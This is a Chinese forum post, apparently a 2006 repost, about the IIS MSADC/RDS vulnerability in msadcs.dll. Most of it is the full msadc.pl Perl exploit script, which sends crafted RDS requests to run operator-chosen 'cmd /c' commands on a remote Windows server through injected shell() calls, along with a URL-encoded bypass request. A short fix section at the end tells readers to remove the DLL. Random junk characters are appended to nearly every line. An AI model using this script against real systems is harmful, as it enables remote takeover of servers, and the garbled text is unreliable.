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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) e"%uOuIYX  
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涉及程序: ~z\a:+  
Microsoft NT server 8Vjv #pm  
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描述: ?t<g|H/|6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >,QCKZH  
lGt:.p{NG  
详细: %^d<go^  
如果你没有时间读详细内容的话,就删除: =CW> ;h]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (< >Lfn  
有关的安全问题就没有了。 +w7U7" xQ  
Zd'Yu{<_2N  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 |@~_&g  
)Ii`/I^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 fk9q3  
关于利用ODBC远程漏洞的描述,请参看: -G~/ GO  
RU=\eD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nLOK1@,4  
X`3_ yeQc  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看  gnkeJ}K  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /i dI-  
eso-{W,D  
这里不再论述。 ($!uBF-b  
7n o6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: g!.piG|  
C>'G?  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;B;@MD,B  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [W*M#00_&4  
"iGQ1#6|d  
sv&^sARN  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y@,PTF  
@lX%Fix9  
#!perl #jzF6j%G  
# -LT!LBnEkf  
# MSADC/RDS 'usage' (aka exploit) script -L4G)%L\  
# HI{h>g T  
# by rain.forest.puppy ~]#-S20  
# <Y6zJ#BD  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me `K:n=hpF  
# beta test and find errors! eEfGH  
tSux5 yV  
use Socket; use Getopt::Std; ]l C2YD}  
getopts("e:vd:h:XR", \%args); IdMwpru(  
xY/F)JOeG  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :iLRCK3 C  
*];QPi~  
if (!defined $args{h} && !defined $args{R}) { ,(Ol]W}  
print qq~ pg!MtuC}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |x.^rx`  
-h <host> = host you want to scan (ip or domain) AE+BrN +"2  
-d <seconds> = delay between calls, default 1 second H2H[DVKv  
-X = dump Index Server path table, if available XI |k,Ko<  
-v = verbose Rnoz[1y?0  
-e = external dictionary file for step 5 c~~4eia)  
0e+#{k  
Or a -R will resume a command session S~ Z<-@S  
)/vom6y*   
~; exit;} !h4A7KBYG  
,Jh#$mil  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9l "=]7~%  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} JV@G9PT  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =.CiKV$E  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BgD3P.;[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} pW@W-k:u  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } -.y1]4  
[|YvVA  
if (!defined $args{R}){ $ret = &has_msadc; SD:D8"8  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} b9#(I~}  
kW2DKr-[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" RD"-(T  
. "cmd /c "; }:{9!RMO  
$in=<STDIN>; chomp $in; j{r@>g;3  
$command="cmd /c " . $in ; ?>U=bA  
+p63J  
if (defined $args{R}) {&load; exit;} 9Bw#VQ  
(CRx'R  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Bm,Vu 1]t  
&try_btcustmr; $OdBuJA  
'tw ]jMD  
print "\nStep 2: Trying to make our own DSN..."; wggB^ }~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 6pSTw\/6  
^\Z+Xq1~/  
print "\nStep 3: Trying known DSNs..."; [T,^l#S1  
&known_dsn; eUZk|be  
#) :.1Z?  
print "\nStep 4: Trying known .mdbs..."; %cg| KB"l  
&known_mdb; .{c7 I!8  
W90!*1  
if (defined $args{e}){ ~  z3J4s  
print "\nStep 5: Trying dictionary of DSN names..."; lq"X_M$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } - z+,j(@  
+B1&bOb  
print "Sorry Charley...maybe next time?\n"; d4BzFGsW  
exit; %Z<{CV  
Q&vdBO/  
############################################################################## ~G@YA8}  
ha$1vi}b  
sub sendraw { # ripped and modded from whisker 65dMv*{  
sleep($delay); # it's a DoS on the server! At least on mine... d,^ZH  
my ($pstr)=@_; RZV6;=/  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *E/ Mf  
die("Socket problems\n"); f$\ O:E=  
if(connect(S,pack "SnA4x8",2,80,$target)){ &K60n6q{aQ  
select(S); $|=1; _qf39fM;\  
print $pstr; my @in=<S>; /q\e&&e  
select(STDOUT); close(S); ~a[ /l  
return @in; bA,Zfsr6#  
} else { die("Can't connect...\n"); }} mi<Q3;m  
X*@ tp,t  
############################################################################## `j@1]%&z  
6 h#U,G  
sub make_header { # make the HTTP request po*8WSl9c[  
my $msadc=<<EOT 6];3h>c]N  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KS93v9|  
User-Agent: ACTIVEDATA 3sdL\  
Host: $ip  {Ba&  
Content-Length: $clen y)&K9 I  
Connection: Keep-Alive "lw|EpQk`  
C 5gdvJN  
ADCClientVersion:01.06 c/tB_]  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hBpa"0F  
O# ZZ PJ"  
--!ADM!ROX!YOUR!WORLD! QHZ",1F  
Content-Type: application/x-varg o zn&>k  
Content-Length: $reqlen -grf7w^  
1J"9Y81   
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; $msadc=~s/\n/\r\n/g; b{ xlW }S  
return $msadc;} s+lBai*#  
B8T$<  
############################################################################## |mQ Fi\  
$U]T8;5Q  
sub make_req { # make the RDS request #DFi-o&-  
my ($switch, $p1, $p2)=@_; &H;,,7u  
my $req=""; my $t1, $t2, $query, $dsn; _ C?Wk:Y@  
i cTpx#|=  
if ($switch==1){ # this is the btcustmr.mdb query MXcW & b  
$query="Select * from Customers where City=" . make_shell(); x+Xd7N1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . aqI"4v]~b  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} uB.kkkGZ M  
k*fU:q1  
elsif ($switch==2){ # this is general make table query !`I@Rk]`c  
$query="create table AZZ (B int, C varchar(10))"; &N/t%q  
$dsn="$p1";} ?=M ?v;8  
4)8VmCW  
elsif ($switch==3){ # this is general exploit table query A)sYde(  
$query="select * from AZZ where C=" . make_shell(); {m>ylE  
$dsn="$p1";} kaekH*m~  
*C5`LgeX  
elsif ($switch==4){ # attempt to hork file info from index server IB[$~sGe  
$query="select path from scope()"; Pn">fWRCx  
$dsn="Provider=MSIDXS;";} 0dC5 -/+  
ZAgXz{!H(  
elsif ($switch==5){ # bad query Blzvn19'h  
$query="select"; I61S0l z/  
$dsn="$p1";} :L NE ?@  
h:362&?]  
$t1= make_unicode($query); xz"60xxY  
$t2= make_unicode($dsn); v5S9h[gT  
$req = "\x02\x00\x03\x00"; YkWHI (p  
$req.= "\x08\x00" . pack ("S1", length($t1)); h7"U1'b  
$req.= "\x00\x00" . $t1 ; $q@d.Z>;  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7amVnR1f  
$req.= "\x00\x00" . $t2 ; |cma7q}p  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; OY`B{jV-  
return $req;} @Uez2?  
TsaQR2J@  
############################################################################## 3MQZ)!6  
)Wk_|zO-  
sub make_shell { # this makes the shell() statement tr,W)5O@L  
return "'|shell(\"$command\")|'";} (4R(5t  
Q p>b  
############################################################################## ):! =XhQ  
R}Lk$#S#  
sub make_unicode { # quick little function to convert to unicode >J:=)1`  
my ($in)=@_; my $out; 4Lt9Dx1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1^WGJ"1  
return $out;} f*X CWr  
kKSGC?d  
############################################################################## xGwImF$r  
;3cbXc@]  
sub rdo_success { # checks for RDO return success (this is kludge) #_ |B6!D!  
my (@in) = @_; my $base=content_start(@in); }R['Zoh4I  
if($in[$base]=~/multipart\/mixed/){ [v"Z2F<.=  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} `3rwqcxA  
return 0;} Wgls+<l8  
ljNwt  
############################################################################## ! dzgi:  
c}o 6Rm50  
sub make_dsn { # this makes a DSN for us "17)`Yf  
my @drives=("c","d","e","f"); f)/Z7*Z  
print "\nMaking DSN: "; OT])t<TF6  
foreach $drive (@drives) { +{I_%SsG  
print "$drive: "; `uMEK>b  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . k <oB9J  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |NfFe*q0;8  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^Qs}2%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `Y?VQ~ci>  
return 0 if $2 eq "404"; # not found/doesn't exist K.)!qkW-%S  
if($2 eq "200") { >S +}  
foreach $line (@results) { ^ F]hW  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )r9 9zdUk  
} return 0;} !uEEuD#  
BY6#dlDi  
############################################################################## o{s2T)2  
[MTd<@  
sub verify_exists { !LN8=u.  
my ($page)=@_; tUv>1) [  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >D,Oav  
return $results[0];} xPm. TPj  
=:WZV8@%  
############################################################################## 8v"rM >[  
M5`v^>  
sub try_btcustmr { *DF3juf~  
my @drives=("c","d","e","f"); Y.viOHL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qk(Eyp  
\Z]+j@9  
foreach $dir (@dirs) { ?gE=hh  
print "$dir -> "; # fun status so you can see progress RPz[3y  
foreach $drive (@drives) { ]nTeTW  
print "$drive: "; # ditto <,]:jgX  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; JtL> mH  
$reqlenlen=length( "$reqlen" ); t}q e_c  
$clen= 206 + $reqlenlen + $reqlen; ZLkl:'E_  
DK4yAR,g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1X?ro;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} .Mq#88o.*  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &K9;GZS?  
&uNec( c  
############################################################################## _ .vG)  
} !m43x/&  
sub odbc_error { o^"+X7)  
my (@in)=@_; my $base;  q#K{~:  
my $base = content_start(@in); -N45ni87  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w+br)  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; gmL~n7m:K  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hw DxGiU  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fq7#rZCxX  
return $in[$base+4].$in[$base+5].$in[$base+6];} "Oxr}^% i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; hLO)-ueb  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . yE$PLM  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R}&?9tVRR  
:;k?/KU7  
############################################################################## PF{uaKWk  
H5K Fm#  
sub verbose { \QvGkcDc{  
my ($in)=@_; boo361L  
return if !$verbose; )pWgt5:7~  
print STDOUT "\n$in\n";} gQ+]N*.  
\`n(JV  
############################################################################## l;; 2\mL?  
Y6jyU1>  
sub save { 6j%%CWU{~  
my ($p1, $p2, $p3, $p4)=@_; P3zUaN \c  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Q"QRF5Ue  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; E2e"A I.h  
close OUT;} 4>gfLK\R:  
1b5Z^a<u  
############################################################################## &tyS6S+  
3<xE_ \DR  
sub load { BhJ>G%  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; VE |:k:};  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); p _gN}v  
@p=<IN>; close(IN); _{*} )&!M  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ZbFD|~[ V  
$target= inet_aton($ip) || die("inet_aton problems"); 'oa.-g5  
print "Resuming to $ip ..."; o=m5AUe?J  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 7)rQf{q7  
if($p[1]==1) { BIx*t9wA  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; t>bzo6cj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; N1t4o~  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )&c2+Y@  
if (rdo_success(@results)){print "Success!\n";} c2E /-n4K@  
else { print "failed\n"; verbose(odbc_error(@results));}} A2'i~_e  
elsif ($p[1]==3){ 4) 8k?iC*  
if(run_query("$p[3]")){ @cDB 7w\  
print "Success!\n";} else { print "failed\n"; }} fv;Q*; oC&  
elsif ($p[1]==4){ Hg#t SE  
if(run_query($drvst . "$p[3]")){ c1H.v^Y5  
print "Success!\n"; } else { print "failed\n"; }} 2q?/aw ;Z  
exit;} [OC( ~b  
f1'ByV'2  
############################################################################## uyj!$}4  
6#Vl3o(E|  
sub create_table { &h5Vhzq(<  
my ($in)=@_; 6{2y$'m8  
$reqlen=length( make_req(2,$in,"") ) - 28; x ytrd.  
$reqlenlen=length( "$reqlen" ); A4j ,]hOD  
$clen= 206 + $reqlenlen + $reqlen; odP<S.  
my @results=sendraw(make_header() . make_req(2,$in,"")); o@Ye_aM~?Y  
return 1 if rdo_success(@results); 1[egCC\Mo_  
my $temp= odbc_error(@results); verbose($temp); dwA"QVp{  
return 1 if $temp=~/Table 'AZZ' already exists/; ,ri&zbB  
return 0;} RD`|Z~:q:K  
)vtbA=RH?  
############################################################################## i~!g9o(  
W~ yb>+u  
sub known_dsn { Gs: g  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1 iH@vd  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ']}-;m\  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Tu vs}  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); *DJsY/9d}'  
WIWo4[(  
foreach $dSn (@dsns) { b_+o1Zy`  
print "."; 0|GYtnd  
next if (!is_access("DSN=$dSn")); _/>ktYo:  
if(create_table("DSN=$dSn")){ "aGmv9\  
print "$dSn successful\n"; rZUTBLZ`j  
if(run_query("DSN=$dSn")){ &9e  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v`h>5#_[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} d?oXz|;H(  
(B#FLoK  
############################################################################## R @\fqNq  
_S_,rTf&  
sub is_access { F8%^Ed~@  
my ($in)=@_; xF_u:}7`  
$reqlen=length( make_req(5,$in,"") ) - 28; IOHWb&N6  
$reqlenlen=length( "$reqlen" ); XpAJP++  
$clen= 206 + $reqlenlen + $reqlen; z_c-1iXCW  
my @results=sendraw(make_header() . make_req(5,$in,"")); $WYt`U;*lj  
my $temp= odbc_error(@results); ekx(i QA  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); [if(B\&  
return 0;} `xM*cJTZ  
MTYV~S4/  
############################################################################## ^#5'` #t  
HNkOPz+d&8  
sub run_query { r/h\>s+N  
my ($in)=@_; }s2CND  
$reqlen=length( make_req(3,$in,"") ) - 28; :(q4y-o6  
$reqlenlen=length( "$reqlen" ); W6?=9].gc  
$clen= 206 + $reqlenlen + $reqlen; |gkNhxzB  
my @results=sendraw(make_header() . make_req(3,$in,"")); <:-4GJH=  
return 1 if rdo_success(@results); zC*FeqFL<  
my $temp= odbc_error(@results); verbose($temp); 7FwtBO  
return 0;} ".jO2GO^  
`0upm%A  
############################################################################## \3vQXt\dM$  
A!Tl  
sub known_mdb { RFw0u 0Nrz  
my @drives=("c","d","e","f","g"); 7(/yyZQnZ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); aZf/WiR2  
my $dir, $drive, $mdb; (j>`+F5f  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ET[5`z  
SU%O\ 4Ty  
# this is sparse, because I don't know of many .{gDw  
my @sysmdbs=( "\\catroot\\icatalog.mdb", m{>1# 1;$t  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z|K HF"  
"\\system32\\certmdb.mdb", |QS|\8g{0V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 1c,#`\Iikd  
gwB,*.z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", MJX ny4n  
"\\cfusion\\cfapps\\forums\\forums_.mdb", %)V=)l.j  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 7sVM[lr<  
"\\cfusion\\cfapps\\security\\realm_.mdb", O+!4KNN.-  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sm##owI  
"\\cfusion\\database\\cfexamples.mdb", qiOtbH=  
"\\cfusion\\database\\cfsnippets.mdb", Y*xgY*K  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 'e:4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", bfeTf66c  
"\\cfusion\\brighttiger\\database\\cleam.mdb", I=DVMG|  
"\\cfusion\\database\\smpolicy.mdb", W~H`{x%Av>  
"\\cfusion\\database\cypress.mdb", 1n8y4k)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Q`i@['?p  
"\\website\\cgi-win\\dbsample.mdb", A^lm0[3q  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 9>{ml&$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @+;.W>^h  
); #these are just A8ViJ  
foreach $drive (@drives) {  +At [[  
foreach $dir (@dirs){ *6JA&zj0B  
foreach $mdb (@sysmdbs) { @ 2hGkJ-  
print "."; B}qG-}(V  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ jJ"(O-<)D  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; rk=/iD  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !@!603Gy  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h]@'M1D%  
} else { print "Something's borked. Use verbose next time\n"; }}}}} W,8Uu1X =  
a[ ;L+  
foreach $drive (@drives) { N5 sR  
foreach $mdb (@mdbs) { AXcmN  
print "."; pI f6RwH}%  
if(create_table($drv . $drive . $dir . $mdb)){ T Tbe{nb  
print "\n" . $drive . $dir . $mdb . " successful\n"; 548L^"D  
if(run_query($drv . $drive . $dir . $mdb)){ /%&5Iq\:vA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6[t(FcS  
} else { print "Something's borked. Use verbose next time\n"; }}}} 7 @\i5  
} p` ~=v4;b  
*X3wf`C?  
############################################################################## 7OLHYt9  
86LE )z  
sub hork_idx { 5XT^K)'  
print "\nAttempting to dump Index Server tables...\n"; z81dm  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~F@p}u8TV  
$reqlen=length( make_req(4,"","") ) - 28; bD)"Jy  
$reqlenlen=length( "$reqlen" ); 0x*1I1(c  
$clen= 206 + $reqlenlen + $reqlen; q1 HJ_y  
my @results=sendraw2(make_header() . make_req(4,"","")); KrP?*yk  
if (rdo_success(@results)){ ;Q3[} ]su  
my $max=@results; my $c; my %d; 62;xK-U  
for($c=19; $c<$max; $c++){ Ot.v%D`e 5  
$results[$c]=~s/\x00//g; = y^5PjN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; C}9GrIi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; BN&)5M?Xt6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; bOU"s>?  
$d{"$1$2"}="";} Sa)sDf1+`  
foreach $c (keys %d){ print "$c\n"; } ai d1eF  
} else {print "Index server doesn't seem to be installed.\n"; }} Ay Uw  
z}}P+P/  
############################################################################## "+2Cs  
OL_#Uu  
sub dsn_dict { h [Sd3Z*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); iWWtL  
while(<IN>){ 6RIbsy  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ; Ows8  
next if (!is_access("DSN=$dSn")); oFp1QrI3k8  
if(create_table("DSN=$dSn")){ +hKU]DP2;  
print "$dSn successful\n"; "Plo[E  
if(run_query("DSN=$dSn")){ ?!m\|'s-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nGX3_-U4  
print "Something's borked. Use verbose next time\n";}}} {nM1$  
print "\n"; close(IN);} |[r7B*fw  
VZ IY=Q>g  
############################################################################## =x?WZMO  
;d>n2  
sub sendraw2 { # ripped and modded from whisker G8'{nPA~  
sleep($delay); # it's a DoS on the server! At least on mine... t<c7%i#Od  
my ($pstr)=@_; ObZhQ.&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XXm7rn  
die("Socket problems\n"); " ;Cf@}i>  
if(connect(S,pack "SnA4x8",2,80,$target)){ Fa`%MR1  
print "Connected. Getting data"; Tei2[siA5  
open(OUT,">raw.out"); my @in; q%M~gp1  
select(S); $|=1; print $pstr; W'Ew!]Q3  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} bD/ZKvg  
close(OUT); select(STDOUT); close(S); return @in; Kt qOA[6  
} else { die("Can't connect...\n"); }} iM7 ^  
o%-KO? YW  
############################################################################## 22ySMtxn  
PI$i_3N  
sub content_start { # this will take in the server headers yX*$PNL5w  
my (@in)=@_; my $c; #c' B2Jn  
for ($c=1;$c<500;$c++) { }; 7I   
if($in[$c] =~/^\x0d\x0a/){ '>"blfix8  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } zqt%x?l  
else { return $c+1; }}} 3H<%\SYp  
return -1;} # it should never get here actually myVa5m!7Q  
y5c\\e  
############################################################################## ,%A|:T]  
#mJRL[V5^  
sub funky { X'\h^\yOo  
my (@in)=@_; my $error=odbc_error(@in); uDJ;GD[yc  
if($error=~/ADO could not find the specified provider/){ >Mh\jt\  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; fp(zd;BSQ  
exit;} $;(@0UDE  
if($error=~/A Handler is required/){ ab9ecZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y|wjt\M  
exit;} LRWM}'.s  
if($error=~/specified Handler has denied Access/){  /s^42  
print "\nServer has custom handler filters (they most likely are patched)\n"; &:ZR% f  
exit;}} YH+(N  
Uu*iL< `  
############################################################################## ]8"U)fzmc.  
}'}n~cA.{  
sub has_msadc { %${$P+a`D  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /Q)I5sL@E  
my $base=content_start(@results); `<~=6H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~}{_/8'5  
return 0;} PP\ bDEPy  
-Op^3WWyY  
######################## #X1a v  
7. $wK.  
<-' !I&  
解决方案: N3lz-vP-  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll )l! /7WKY  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 a6;[Z  
PW5)") z  
拿出来充数 哈哈
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